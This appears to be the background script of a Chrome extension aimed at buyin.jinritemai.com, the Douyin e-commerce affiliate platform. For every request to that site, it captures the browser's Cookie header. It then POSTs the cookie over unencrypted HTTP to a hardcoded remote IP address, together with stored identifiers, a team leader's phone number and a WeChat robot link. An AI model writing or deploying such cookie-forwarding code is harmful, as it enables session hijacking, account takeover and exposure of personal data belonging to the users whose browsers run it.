chrome.webRequest.onBeforeSendHeaders.addListener(
  function(details) {
      let cookiesHeader = details.requestHeaders.find(header => header.name.toLowerCase() === "cookie");
      if (cookiesHeader) {
          chrome.storage.local.get(['baiyingID', 'douyinTeam', 'leaderPhone', 'aweid', 'wxRobotLink'], function(data) {
              fetch('http://116.236.39.42:5000/json2redis', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json'
                  },
                  body: JSON.stringify({
                      jsonData: {
                          cookies: cookiesHeader.value,
                          buyingID: data.baiyingID || "",
                          team: data.douyinTeam || "",
                          leaderPhone: data.leaderPhone || "",
                          aweid: data.aweid || "",
                          wxRobotLink: data.wxRobotLink || ""
                      },
                      channel: 'buyingjinritemaicom'
                  })
              }).then(response => response.text())
                .then(data => console.log("Server Response:", data))
                .catch(error => console.error("Error sending data:", error));
          });
      }
      return { requestHeaders: details.requestHeaders };
  },
  { urls: ["*://buyin.jinritemai.com/*"] },
  ["requestHeaders", "extraHeaders"]
);

// 监听消息
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  console.log('Received data from popup:', request.data);
  sendResponse({ status: "Received" });
});
